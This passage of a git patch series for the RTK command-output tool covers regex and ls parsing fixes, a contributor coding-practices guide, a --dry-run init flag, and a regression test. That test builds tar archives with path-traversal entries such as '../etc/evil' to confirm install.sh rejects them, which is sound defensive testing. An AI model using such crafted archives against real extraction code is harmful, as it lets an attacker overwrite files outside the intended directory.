archives with python --- +python3 - "$TMPDIR" <<'PY' +import sys, tarfile, io + +base = sys.argv[1] + + +def make(name, entry): + with tarfile.open(f"{base}/{name}", "w:gz") as t: + info = tarfile.TarInfo(name=entry) + data = b"pwned" + info.size = len(data) + t.addfile(info, io.BytesIO(data)) + + +make("traversal.tgz", "../etc/evil") +make("absolute.tgz", "/tmp/evil_abs") +make("middle.tgz", "rtk/../../../etc/evil") +make("end_dotdot.tgz", "rtk/..") +PY + +FAIL=0 +pass() { printf ' PASS: %s\n' "$1"; } +fail() { printf ' FAIL: %s\n' "$1"; FAIL=1; } + +echo "==> Functional checks" + +if check_archive "$TMPDIR/safe.tgz"; then + pass "safe archive accepted" +else + fail "safe archive rejected (false positive)" +fi + +for bad in traversal absolute middle end_dotdot; do + if check_archive "$TMPDIR/$bad.tgz"; then + fail "$bad archive accepted (should be rejected)" + else + pass "$bad archive rejected" + fi +done + +echo "==> Regression guard" + +if grep -qF 'tar -tzf' "$INSTALL_SH" && grep -qF '\.\.' "$INSTALL_SH"; then + pass "install.sh still contains the path-traversal check" +else + fail "install.sh is missing the path-traversal check — was it removed?" +fi + +echo "" +if [ "$FAIL" -eq 0 ]; then + echo "All install.sh path traversal tests passed" + exit 0 +else + echo "Some tests failed" + exit 1 +fi From ec3a4e96fdcda6592afb08fb0ad0afaf41e07385 Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Fri, 17 Apr 2026 15:58:03 +0000 Subject: [PATCH 021/204] fix(discover): skip head/tail rewrite when multiple files are passed (#1362) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `head -N file1 file2 ...` was rewritten to `rtk read file1 file2 ... --max-lines N`. The capture regex was greedy (`(.+)$`), so every file argument was folded into a single string. `rtk read` then silently mis-handled the shape and fell through to the system `read` builtin (`/usr/bin/read`) which rejects paths starting with `/` as "not a valid identifier". Tighten each head/tail regex to a single non-whitespace file argument (`\S+$`). When >1 file is provided the regex misses, `rewrite_line_range` returns `None`, and the command falls through to the native `head` / `tail` binary — which already handles multi-file input with the expected `==> name <==` banners. Same class as the cat multi-file fix in #989. Added six regression tests covering the `-N`, `--lines=N`, `-n N`, and `--lines N` variants for both `head` and `tail`. --- src/discover/registry.rs | 58 +++++++++++++++++++++++++++++++++++----- 1 file changed, 52 insertions(+), 6 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index ee5f7a7bef..bbb766a735 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -62,12 +62,16 @@ lazy_static! { // --git-dir , --work-tree , and flag-only options (#163) static ref GIT_GLOBAL_OPT: Regex = Regex::new(r"^(?:(?:-C\s+\S+|-c\s+\S+|--git-dir(?:=\S+|\s+\S+)|--work-tree(?:=\S+|\s+\S+)|--no-pager|--no-optional-locks|--bare|--literal-pathspecs)\s+)+").unwrap(); - static ref HEAD_N: Regex = Regex::new(r"^head\s+-(\d+)\s+(.+)$").unwrap(); - static ref HEAD_LINES: Regex = Regex::new(r"^head\s+--lines=(\d+)\s+(.+)$").unwrap(); - static ref TAIL_N: Regex = Regex::new(r"^tail\s+-(\d+)\s+(.+)$").unwrap(); - static ref TAIL_N_SPACE: Regex = Regex::new(r"^tail\s+-n\s+(\d+)\s+(.+)$").unwrap(); - static ref TAIL_LINES_EQ: Regex = Regex::new(r"^tail\s+--lines=(\d+)\s+(.+)$").unwrap(); - static ref TAIL_LINES_SPACE: Regex = Regex::new(r"^tail\s+--lines\s+(\d+)\s+(.+)$").unwrap(); + // Issue #1362: each capture expects a SINGLE file argument (`\S+$`). Multi-file + // invocations like `head -3 a b c` fail to match so the segment is passed through + // to the native `head`/`tail` binary — which already handles multi-file with + // `==> name <==` banners that `rtk read --max-lines` cannot reproduce. + static ref HEAD_N: Regex = Regex::new(r"^head\s+-(\d+)\s+(\S+)$").unwrap(); + static ref HEAD_LINES: Regex = Regex::new(r"^head\s+--lines=(\d+)\s+(\S+)$").unwrap(); + static ref TAIL_N: Regex = Regex::new(r"^tail\s+-(\d+)\s+(\S+)$").unwrap(); + static ref TAIL_N_SPACE: Regex = Regex::new(r"^tail\s+-n\s+(\d+)\s+(\S+)$").unwrap(); + static ref TAIL_LINES_EQ: Regex = Regex::new(r"^tail\s+--lines=(\d+)\s+(\S+)$").unwrap(); + static ref TAIL_LINES_SPACE: Regex = Regex::new(r"^tail\s+--lines\s+(\d+)\s+(\S+)$").unwrap(); } const GOLANGCI_GLOBAL_OPT_WITH_VALUE: &[&str] = &[ @@ -1668,6 +1672,48 @@ mod tests { assert_eq!(rewrite_command("tail src/main.rs", &[]), None); } + // --- Issue #1362: head/tail with multiple files falls back to native command --- + // + // `rtk read --max-lines N` only accepts a single positional file path in + // a shape that maps cleanly to `head -N`. Rewriting `head -N a b c` to + // `rtk read a b c --max-lines N` previously produced a command where `rtk read` + // would concatenate the files without the `==> name <==` banners that native + // `head` emits, so the fix is to skip the rewrite and let the shell run the + // real `head`/`tail` binary. + + #[test] + fn test_rewrite_head_numeric_flag_multi_file_skipped() { + assert_eq!(rewrite_command("head -3 /tmp/a /tmp/b /tmp/c", &[]), None); + } + + #[test] + fn test_rewrite_head_lines_long_flag_multi_file_skipped() { + assert_eq!( + rewrite_command("head --lines=50 src/main.rs src/lib.rs", &[]), + None + ); + } + + #[test] + fn test_rewrite_tail_numeric_flag_multi_file_skipped() { + assert_eq!(rewrite_command("tail -20 a.log b.log", &[]), None); + } + + #[test] + fn test_rewrite_tail_n_space_flag_multi_file_skipped() { + assert_eq!(rewrite_command("tail -n 12 a.log b.log c.log", &[]), None); + } + + #[test] + fn test_rewrite_tail_lines_eq_multi_file_skipped() { + assert_eq!(rewrite_command("tail --lines=7 a.log b.log", &[]), None); + } + + #[test] + fn test_rewrite_tail_lines_space_multi_file_skipped() { + assert_eq!(rewrite_command("tail --lines 7 a.log b.log", &[]), None); + } + // --- New registry entries --- #[test] From 25727e343dd0eb6727d890e0e13dc53dfa08148c Mon Sep 17 00:00:00 2001 From: Lumin Cui Date: Sat, 18 Apr 2026 01:36:30 +0800 Subject: [PATCH 022/204] fix(ls): distinguish empty dir from unparseable locale content - Move . and .. detection before date parsing (is_dotdir) for non-English locale compatibility - Add dotdirs counter to distinguish empty dir (only . and ..) from real content that failed to parse - Fix test_compact_empty to use real ls -la output (includes . and ..) - Add test_compact_empty_chinese_locale for Chinese locale empty dir case - Closes regression where fallback falsely triggered on empty directories --- src/cmds/system/ls.rs | 43 ++++++++++++++++++++++++++++++++++++++----- 1 file changed, 38 insertions(+), 5 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 8f80da7ffe..61bd50b25f 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -131,6 +131,11 @@ fn human_size(bytes: u64) -> String { /// filename (everything after the date). This handles owner/group names that /// contain spaces, which break the old fixed-column approach. fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { + // Skip . and .. entries before date parsing (works for non-English locales too) + if is_dotdir(line) { + return None; + } + let date_match = LS_DATE_RE.find(line)?; let name = line[date_match.end()..].to_string(); @@ -157,6 +162,16 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { Some((file_type, size, name)) } +/// Returns true if the line represents a . or .. directory entry. +/// +/// POSIX.1-2017 (IEEE Std 1003.1) specifies that each directory contains +/// entries for "." (the directory itself) and ".." (its parent). These entries +/// always appear in `ls -la` output and are skipped during parsing since they +/// carry no meaningful content for token reduction. +fn is_dotdir(line: &str) -> bool { + line.trim().ends_with('.') || line.trim().ends_with("..") +} + /// Parse ls -la output into compact format: /// name/ (dirs) /// name size (files) @@ -171,6 +186,8 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let mut by_ext: HashMap = HashMap::new(); let mut lines_seen: usize = 0; let mut parsed_count: usize = 0; + let mut dotdirs: usize = 0; + let mut parse_failed: usize = 0; for line in raw.lines() { if line.starts_with("total ") || line.is_empty() { @@ -179,15 +196,15 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { lines_seen += 1; let Some((file_type, size, name)) = parse_ls_line(line) else { + if is_dotdir(line) { + dotdirs += 1; + } else { + parse_failed += 1; + } continue; }; parsed_count += 1; - // Skip . and .. - if name == "." || name == ".." { - continue; - } - // Filter noise dirs unless -a if !show_all && NOISE_DIRS.iter().any(|noise| name == *noise) { continue; @@ -208,6 +225,11 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { if dirs.is_empty() && files.is_empty() { if lines_seen > 0 && parsed_count == 0 { + if dotdirs == lines_seen { + // Only . and .. entries (empty directory) + return ("(empty)\n".to_string(), String::new(), 0); + } + // Real content that couldn't be parsed (e.g., non-English locale) return (String::new(), String::new(), 0); } return ("(empty)\n".to_string(), String::new(), 0); @@ -310,6 +332,17 @@ mod tests { assert!(summary.is_empty()); } + #[test] + fn test_compact_empty_chinese_locale() { + let input = "total 8\n\ + drwxr-xr-x 2 user user 4096 1月 1 12:00 .\n\ + drwxr-xr-x 16 user user 20480 1月 1 12:00 ..\n"; + let (entries, summary, parsed_count) = compact_ls(input, false); + assert_eq!(parsed_count, 0); + assert_eq!(entries, "(empty)\n"); + assert!(summary.is_empty()); + } + #[test] fn test_compact_summary() { let input = "total 48\n\ From a855d8d8bc296ab8d1eb092be2ee844b9f1dbaac Mon Sep 17 00:00:00 2001 From: Lumin Cui Date: Sat, 18 Apr 2026 01:39:20 +0800 Subject: [PATCH 023/204] refactor(ls): remove unused parse_failed variable --- src/cmds/system/ls.rs | 3 --- 1 file changed, 3 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 61bd50b25f..4d68fe1069 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -187,7 +187,6 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let mut lines_seen: usize = 0; let mut parsed_count: usize = 0; let mut dotdirs: usize = 0; - let mut parse_failed: usize = 0; for line in raw.lines() { if line.starts_with("total ") || line.is_empty() { @@ -198,8 +197,6 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let Some((file_type, size, name)) = parse_ls_line(line) else { if is_dotdir(line) { dotdirs += 1; - } else { - parse_failed += 1; } continue; }; From a724375650dbf88aca2b547300ace1de245c1671 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sat, 18 Apr 2026 17:26:12 +0200 Subject: [PATCH 024/204] docs(contributing): coding practices v1 --- docs/contributing/CODING_PRACTICES.md | 186 ++++++++++++++++++++++++++ 1 file changed, 186 insertions(+) create mode 100644 docs/contributing/CODING_PRACTICES.md diff --git a/docs/contributing/CODING_PRACTICES.md b/docs/contributing/CODING_PRACTICES.md new file mode 100644 index 0000000000..bc0975541a --- /dev/null +++ b/docs/contributing/CODING_PRACTICES.md @@ -0,0 +1,186 @@ +# RTK Coding Practices v1.0 + +This document follows the [Design Philosophy](../../CONTRIBUTING.md#design-philosophy) in `CONTRIBUTING.md`. Once you understand the mental model there, this guide describes the coding practices we use day-to-day in RTK and what reviewers will look for on your PR. + +Our goal is to keep the codebase consistent and easy to extend. PRs that deviate from these practices may be asked for changes during review — this is guidance, not a gate. If a rule seems wrong for your specific case, flag it in the PR and we'll discuss. + +> **Heads up:** RTK has grown quickly and some code in the repository predates these practices. You may spot modules that don't fully follow them — this is expected, and core/ecosystem maintainers will refactor them over time. When in doubt, follow the practices below for new code rather than mirroring older patterns. + +--- + +## Quick Start for Contributors + +New to RTK? The fastest path to a mergeable first PR: + +1. **Read the flow once.** Start at [`CONTRIBUTING.md`](../../CONTRIBUTING.md), then skim [`docs/contributing/TECHNICAL.md`](TECHNICAL.md) to see how a command flows from `main.rs` → a `*_cmd.rs` filter → tracking → stdout. +2. **Look at a good example.** [`src/cmds/git/git.rs`](../../src/cmds/git/git.rs) is a representative filter — it shows the `run()` entry point, `lazy_static!` regex setup, filter helpers, and embedded tests all in one file. +3. **Know the shared helpers before reimplementing.** Two files cover most of what you need: + - [`src/core/runner.rs`](../../src/core/runner.rs) — command execution wrappers: `run_filtered()` (run a command, then apply your filter function), `run_passthrough()` (run unfiltered but tracked), `run_streamed()` (streaming filter). + - [`src/core/utils.rs`](../../src/core/utils.rs) — shared utilities: `resolved_command()`, `strip_ansi()`, `truncate()`, `count_tokens()`, and more. +4. **Follow the checklist.** [`src/cmds/README.md — Adding a New Command Filter`](../../src/cmds/README.md#adding-a-new-command-filter) walks you through creating a filter, registering it, and adding tests. +5. **Write the test first.** We follow Red-Green-Refactor. A snapshot test plus a token-savings assertion (see [Testing](#testing) below) is enough for most filters. + +If you're unsure whether your approach fits, open a draft PR or a discussion early — we'd rather help shape the design than ask for a rewrite at review. + +--- + +## Design Philosophy + +For the full framing (Correctness vs. Token Savings, Transparency, Never Block, Zero Overhead, Extensibility), see the [Design Philosophy](../../CONTRIBUTING.md#design-philosophy) section in `CONTRIBUTING.md`. + +Two practical reminders that come up often in review: + +**Portability.** RTK should behave the same across platforms. Use `#[cfg(target_os = "...")]` for platform-specific code; never assume a single OS. + +**Extensibility.** RTK should be modular. Before writing a new feature or filter, check whether an existing entry point fits — `runner::run_filtered()`, `runner::run_passthrough()`, helpers in `src/core/utils.rs`, etc. If your logic could be reused elsewhere, lift it into a shared component rather than burying it in one `*_cmd.rs` file. + +--- + +## Files, Functions, and Documentation + +Each folder contains a root `README.md` that explains the main principles, flows, and specificities of the source files it owns. These READMEs should describe concepts and cases — not list individual source files or counts, to avoid stale lists as the code evolves. Because the root README reflects core features and logic, it should not change often; meaningful edits usually imply a core refactor. + +Tests live in the same file as the code they test (inside `#[cfg(test)] mod tests { ... }`), not in a separate test file. This keeps the filter, its fixtures, and its assertions close together. + +--- + +## Edge Cases + +When you add an edge-case branch or a non-obvious exception, leave a short comment above it explaining *why* it exists. This prevents a future contributor from removing it because the reason isn't visible from the code alone. + +Referencing an issue is often the clearest form: + +```rust +// ISSUE #463: some `git log` output contains NUL bytes when --format=%x00 is used; +// skip the line rather than panicking on invalid UTF-8. +if line.contains('\0') { + continue; +} +``` + +--- + +## Comments + +Prefer code that reads clearly over code that needs comments to explain it. In particular, avoid redundant comments that restate what the function signature already says. + +Comments are welcome when they add information the code cannot carry on its own. The common cases: + +- **File header (`//!`)** — purpose and scope of the current file. +- **Edge case** — a non-obvious branch or exception, as described above. +- **Issue reference** — e.g. `// ISSUE #463: the fix for this`. +- **"Why, not what"** — when the intent or tradeoff behind a decision isn't obvious from the code. + +In short: avoid noise comments; keep the ones that would save a future reader a trip to `git blame`. + +--- + +## Variables + +Use explicit, descriptive names for variables, just like for functions. + +Do not hardcode repetitive patterns or values that control behavior — extract them into named constants at the top of the file. For anything a user might want to tune (thresholds, limits, display cutoffs), use `config::limits()` so it flows through `~/.config/rtk/config.toml`. + +Example from `src/cmds/git/git.rs`: + +```rust +let limits = config::limits(); +let max_files = limits.status_max_files; +let max_untracked = limits.status_max_untracked; +``` + +--- + +## Function and File Size + +**Prefer functions under ~60 lines.** Shorter functions are easier to read, test, and reuse. If a function grows beyond that, it's usually a sign the logic should be split into helpers — but this is a guideline, not a hard cap. + +Legitimate exceptions include: +- Dispatcher / match functions that route to subcommands, where each arm delegates to a focused helper. +- State-machine parsers where splitting would harm readability. + +When you keep a longer function, aim to make each block obviously cohesive — and consider leaving a short comment on *why* splitting it would hurt. + +**Files are expected to be large** in RTK because each module keeps its tests and fixtures alongside the implementation. When a file becomes hard to navigate, split responsibilities across multiple files where possible. If it isn't possible, a big file is acceptable for now. + +--- + +## Imports and Dependencies + +RTK is a low-dependency project. Before adding a crate, check whether the functionality is already covered by `std`, an existing dependency, or `src/core/utils.rs`. If a few lines of straightforward code will do the job, prefer that over a new dependency. + +When a new dependency is genuinely needed, justify it in the PR description. For non-trivial additions, it's worth opening a discussion with maintainers first. + +--- + +## Error Handling + +Use `anyhow::Result` everywhere, and always attach context with `.context("description")?` or `.with_context(|| format!(...))`. + +Never silently swallow errors (`Err(_) => {}`). Either log with `eprintln!` and fall back to raw output (the common case for filters), or propagate the error. + +Example of the standard fallback pattern for a filter: + +```rust +let filtered = filter_output(&output.stdout) + .unwrap_or_else(|e| { + eprintln!("rtk: filter warning: {}", e); + output.stdout.clone() // passthrough on failure — never block the user + }); +``` + +For the full error-handling architecture (propagation chain, exit code preservation), see [ARCHITECTURE.md — Error Handling](ARCHITECTURE.md#error-handling). + +--- + +## Testing + +See [`CONTRIBUTING.md` — Testing](../../CONTRIBUTING.md#testing) for the full strategy. In short, for a new filter you typically want: + +- **Unit + snapshot tests** in the same file, using the `insta` crate. +- **A token-savings assertion** verifying the filter hits the ≥60% target on a real fixture. + +Minimal example: + +```rust +#[cfg(test)] +mod tests { + use super::*; + use insta::assert_snapshot; + + fn count_tokens(s: &str) -> usize { s.split_whitespace().count() } + + #[test] + fn filter_git_log_snapshot() { + let input = include_str!("../../../tests/fixtures/git_log_raw.txt"); + let output = filter_git_log(input); + assert_snapshot!(output); + } + + #[test] + fn filter_git_log_savings() { + let input = include_str!("../../../tests/fixtures/git_log_raw.txt"); + let output = filter_git_log(input); + let savings = 100.0 - (count_tokens(&output) as f64 / count_tokens(input) as f64 * 100.0); + assert!(savings >= 60.0, "expected ≥60% savings, got {:.1}%", savings); + } +} +``` + +Fixtures go in `tests/fixtures/` and should be captured from real command output rather than hand-written. + +--- + +## Security + +RTK executes shell commands on behalf of the user, so security is a first-class concern. + +**Command execution.** All commands go through argument arrays via `Command::new().args()` — never through shell string concatenation. This prevents injection. Always use `resolved_command()` from `src/core/utils.rs` instead of a raw `Command::new()`. + +**Hook integrity.** RTK verifies hook files via SHA-256 hashes before operational commands. If a hook has been tampered with, RTK exits with code 1. See [`src/hooks/integrity.rs`](../../src/hooks/integrity.rs). + +**Project filter trust.** `.rtk/filters.toml` files are not loaded until the user explicitly trusts them, and content changes require re-trust. See [`src/hooks/trust.rs`](../../src/hooks/trust.rs). + +**Permission whitelist.** `is_operational_command()` in `main.rs` uses a whitelist pattern — new commands are *not* integrity-checked until explicitly added. This is an intentional security posture: fail-open with an audit trail is preferred over false confidence. + +**`unsafe` code.** Not allowed except for Unix signal handling in proxy mode, which is correctly scoped to `#[cfg(unix)]`. From 21a069ad76c3d8ffeee870d24408b1942cee691c Mon Sep 17 00:00:00 2001 From: hed0rah <18272116+hed0rah@users.noreply.github.com> Date: Sun, 19 Apr 2026 01:07:28 -0400 Subject: [PATCH 025/204] feat(init): add --dry-run flag to preview changes without writing Rebased onto current develop (binary-command era). Threads dry_run through patch_settings_json_command, migrate_old_hook_script, install_cursor_hooks, run_kilocode_mode, run_antigravity_mode, run_gemini, run_copilot, and uninstall. Fixes from PR #1032 review: - --uninstall --dry-run no longer deletes files (uninstall() now takes dry_run, every fs::remove_file / fs::write / atomic_write guarded) - Success messages ("installed", "configured", "Restart ...") gated on !dry_run in run_default_mode, run_hook_only_mode, run_codex_mode, run_copilot, install_cursor_hooks, run_gemini - prompt_telemetry_consent() skipped in dry-run - integrity::store_hash() in run_gemini guarded - KiloCode and Antigravity modes now accept dry_run - PatchResult::WouldPatch variant added for patch_settings_json_command - [dry-run] Nothing written. footer printed by every sub-mode - write_if_changed uses atomic_write (not fs::write) Added integrity::hash_path_for() public wrapper so dry-run can check sidecar existence without the destructive remove_hash. Tests: write_if_changed(dry_run=true) creates nothing; run_codex_mode_with_paths(dry_run=true) creates neither RTK.md nor AGENTS.md. 1596 tests pass, clippy clean. --- src/hooks/init.rs | 1248 +++++++++++++++++++++++++++++----------- src/hooks/integrity.rs | 5 + src/main.rs | 16 +- 3 files changed, 922 insertions(+), 347 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 65517fc7bc..d46253b23c 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -71,6 +71,12 @@ pub enum PatchResult { AlreadyPresent, // Hook was already in settings.json Declined, // User declined when prompted Skipped, // --no-patch flag used + WouldPatch, // Dry-run: hook would have been added +} + +/// Shared dry-run footer printed at the end of every init sub-mode. +fn print_dry_run_footer() { + println!("\n[dry-run] Nothing written."); } // Legacy full instructions for backward compatibility (--claude-md mode) @@ -228,6 +234,7 @@ pub fn run( codex: bool, patch_mode: PatchMode, verbose: u8, + dry_run: bool, ) -> Result<()> { // Validation: Codex mode conflicts if codex { @@ -246,7 +253,7 @@ pub fn run( if matches!(patch_mode, PatchMode::Skip) { anyhow::bail!("--codex cannot be combined with --no-patch"); } - return run_codex_mode(global, verbose); + return run_codex_mode(global, verbose, dry_run); } // Validation: Global-only features @@ -264,20 +271,24 @@ pub fn run( // Windsurf-only mode if install_windsurf { - return run_windsurf_mode(verbose); + return run_windsurf_mode(verbose, dry_run); } // Cline-only mode if install_cline { - return run_cline_mode(verbose); + return run_cline_mode(verbose, dry_run); } // Mode selection (Claude Code / OpenCode) match (install_claude, install_opencode, claude_md, hook_only) { - (false, true, _, _) => run_opencode_only_mode(verbose)?, - (true, opencode, true, _) => run_claude_md_mode(global, verbose, opencode)?, - (true, opencode, false, true) => run_hook_only_mode(global, patch_mode, verbose, opencode)?, - (true, opencode, false, false) => run_default_mode(global, patch_mode, verbose, opencode)?, + (false, true, _, _) => run_opencode_only_mode(verbose, dry_run)?, + (true, opencode, true, _) => run_claude_md_mode(global, verbose, opencode, dry_run)?, + (true, opencode, false, true) => { + run_hook_only_mode(global, patch_mode, verbose, opencode, dry_run)? + } + (true, opencode, false, false) => { + run_default_mode(global, patch_mode, verbose, opencode, dry_run)? + } (false, false, _, _) => { if !install_cursor { anyhow::bail!("at least one of install_claude or install_opencode must be true") @@ -287,18 +298,27 @@ pub fn run( // Cursor hooks (additive, installed alongside Claude Code) if install_cursor { - install_cursor_hooks(verbose)?; + install_cursor_hooks(verbose, dry_run)?; } - prompt_telemetry_consent()?; + if !dry_run { + prompt_telemetry_consent()?; + } println!(); Ok(()) } -/// Idempotent file write: create or update if content differs -fn write_if_changed(path: &Path, content: &str, name: &str, verbose: u8) -> Result { +/// Idempotent file write: create or update if content differs. +/// When `dry_run` is true, prints the intended action and does not touch the filesystem. +fn write_if_changed( + path: &Path, + content: &str, + name: &str, + verbose: u8, + dry_run: bool, +) -> Result { if path.exists() { let existing = fs::read_to_string(path) .with_context(|| format!("Failed to read {}: {}", name, path.display()))?; @@ -309,18 +329,32 @@ fn write_if_changed(path: &Path, content: &str, name: &str, verbose: u8) -> Resu } Ok(false) } else { - atomic_write(path, content) - .with_context(|| format!("Failed to write {}: {}", name, path.display()))?; - if verbose > 0 { - eprintln!("Updated {}: {}", name, path.display()); + if dry_run { + println!("[dry-run] would update {}: {}", name, path.display()); + if verbose > 0 { + println!("[dry-run] content:\n{}", content); + } + } else { + atomic_write(path, content) + .with_context(|| format!("Failed to write {}: {}", name, path.display()))?; + if verbose > 0 { + eprintln!("Updated {}: {}", name, path.display()); + } } Ok(true) } } else { - atomic_write(path, content) - .with_context(|| format!("Failed to write {}: {}", name, path.display()))?; - if verbose > 0 { - eprintln!("Created {}: {}", name, path.display()); + if dry_run { + println!("[dry-run] would create {}: {}", name, path.display()); + if verbose > 0 { + println!("[dry-run] content:\n{}", content); + } + } else { + atomic_write(path, content) + .with_context(|| format!("Failed to write {}: {}", name, path.display()))?; + if verbose > 0 { + eprintln!("Created {}: {}", name, path.display()); + } } Ok(true) } @@ -492,7 +526,7 @@ fn remove_hook_from_json(root: &mut serde_json::Value) -> bool { /// Remove RTK hook from settings.json file /// Backs up before modification, returns true if hook was found and removed -fn remove_hook_from_settings(verbose: u8) -> Result { +fn remove_hook_from_settings(verbose: u8, dry_run: bool) -> Result { let claude_dir = resolve_claude_dir()?; let settings_path = claude_dir.join(SETTINGS_JSON); @@ -516,6 +550,19 @@ fn remove_hook_from_settings(verbose: u8) -> Result { let removed = remove_hook_from_json(&mut root); if removed { + if dry_run { + println!( + "[dry-run] would remove RTK hook entry from {}", + settings_path.display() + ); + if verbose > 0 { + let serialized = serde_json::to_string_pretty(&root) + .context("Failed to serialize settings.json")?; + println!("[dry-run] content:\n{}", serialized); + } + return Ok(true); + } + // Backup original let backup_path = settings_path.with_extension("json.bak"); fs::copy(&settings_path, &backup_path) @@ -535,9 +582,16 @@ fn remove_hook_from_settings(verbose: u8) -> Result { } /// Full uninstall for Claude, Gemini, Codex, or Cursor artifacts. -pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: u8) -> Result<()> { +pub fn uninstall( + global: bool, + gemini: bool, + codex: bool, + cursor: bool, + verbose: u8, + dry_run: bool, +) -> Result<()> { if codex { - return uninstall_codex(global, verbose); + return uninstall_codex(global, verbose, dry_run); } if cursor { @@ -545,13 +599,22 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: anyhow::bail!("Cursor uninstall only works with --global flag"); } let cursor_removed = - remove_cursor_hooks(verbose).context("Failed to remove Cursor hooks")?; + remove_cursor_hooks(verbose, dry_run).context("Failed to remove Cursor hooks")?; if !cursor_removed.is_empty() { - println!("RTK uninstalled (Cursor):"); + let header = if dry_run { + "[dry-run] would uninstall RTK (Cursor):" + } else { + "RTK uninstalled (Cursor):" + }; + println!("{}", header); for item in &cursor_removed { println!(" - {}", item); } - println!("\nRestart Cursor to apply changes."); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nRestart Cursor to apply changes."); + } } else { println!("RTK Cursor support was not installed (nothing to remove)"); } @@ -567,14 +630,23 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: // Also uninstall Gemini artifacts if --gemini or always (clean everything) if gemini { - let gemini_removed = uninstall_gemini(verbose)?; + let gemini_removed = uninstall_gemini(verbose, dry_run)?; removed.extend(gemini_removed); if !removed.is_empty() { - println!("RTK uninstalled (Gemini):"); + let header = if dry_run { + "[dry-run] would uninstall RTK (Gemini):" + } else { + "RTK uninstalled (Gemini):" + }; + println!("{}", header); for item in &removed { println!(" - {}", item); } - println!("\nRestart Gemini CLI to apply changes."); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nRestart Gemini CLI to apply changes."); + } } else { println!("RTK Gemini support was not installed (nothing to remove)"); } @@ -584,21 +656,38 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: // 1. Remove legacy hook file (if exists from old installation) let hook_path = claude_dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE); if hook_path.exists() { - fs::remove_file(&hook_path) - .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + if dry_run { + println!( + "[dry-run] would remove hook script: {}", + hook_path.display() + ); + } else { + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + } removed.push(format!("Hook script: {}", hook_path.display())); } // 1b. Remove integrity hash file - if integrity::remove_hash(&hook_path)? { + if dry_run { + // integrity::remove_hash would delete the sidecar file; just report intent. + if integrity::hash_path_for(&hook_path).exists() { + println!("[dry-run] would remove integrity hash sidecar"); + removed.push("Integrity hash: removed".to_string()); + } + } else if integrity::remove_hash(&hook_path)? { removed.push("Integrity hash: removed".to_string()); } // 2. Remove RTK.md let rtk_md_path = claude_dir.join(RTK_MD); if rtk_md_path.exists() { - fs::remove_file(&rtk_md_path) - .with_context(|| format!("Failed to remove RTK.md: {}", rtk_md_path.display()))?; + if dry_run { + println!("[dry-run] would remove RTK.md: {}", rtk_md_path.display()); + } else { + fs::remove_file(&rtk_md_path) + .with_context(|| format!("Failed to remove RTK.md: {}", rtk_md_path.display()))?; + } removed.push(format!("RTK.md: {}", rtk_md_path.display())); } @@ -618,43 +707,62 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: // Clean up double blanks let cleaned = clean_double_blanks(&new_content); - fs::write(&claude_md_path, cleaned).with_context(|| { - format!("Failed to write CLAUDE.md: {}", claude_md_path.display()) - })?; + if dry_run { + println!( + "[dry-run] would remove @RTK.md reference from CLAUDE.md: {}", + claude_md_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", cleaned); + } + } else { + fs::write(&claude_md_path, cleaned).with_context(|| { + format!("Failed to write CLAUDE.md: {}", claude_md_path.display()) + })?; + } removed.push("CLAUDE.md: removed @RTK.md reference".to_string()); } } // 4. Remove hook entry from settings.json - if remove_hook_from_settings(verbose)? { + if remove_hook_from_settings(verbose, dry_run)? { removed.push("settings.json: removed RTK hook entry".to_string()); } // 5. Remove OpenCode plugin - let opencode_removed = remove_opencode_plugin(verbose)?; + let opencode_removed = remove_opencode_plugin(verbose, dry_run)?; for path in opencode_removed { removed.push(format!("OpenCode plugin: {}", path.display())); } // 6. Remove Cursor hooks - let cursor_removed = remove_cursor_hooks(verbose)?; + let cursor_removed = remove_cursor_hooks(verbose, dry_run)?; removed.extend(cursor_removed); // Report results if removed.is_empty() { println!("RTK was not installed (nothing to remove)"); } else { - println!("RTK uninstalled:"); + let header = if dry_run { + "[dry-run] would uninstall RTK:" + } else { + "RTK uninstalled:" + }; + println!("{}", header); for item in removed { println!(" - {}", item); } - println!("\nRestart Claude Code, OpenCode, and Cursor (if used) to apply changes."); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nRestart Claude Code, OpenCode, and Cursor (if used) to apply changes."); + } } Ok(()) } -fn uninstall_codex(global: bool, verbose: u8) -> Result<()> { +fn uninstall_codex(global: bool, verbose: u8, dry_run: bool) -> Result<()> { if !global { anyhow::bail!( "Uninstall only works with --global flag. For local projects, manually remove RTK from AGENTS.md" @@ -662,30 +770,42 @@ fn uninstall_codex(global: bool, verbose: u8) -> Result<()> { } let codex_dir = resolve_codex_dir()?; - let removed = uninstall_codex_at(&codex_dir, verbose)?; + let removed = uninstall_codex_at(&codex_dir, verbose, dry_run)?; if 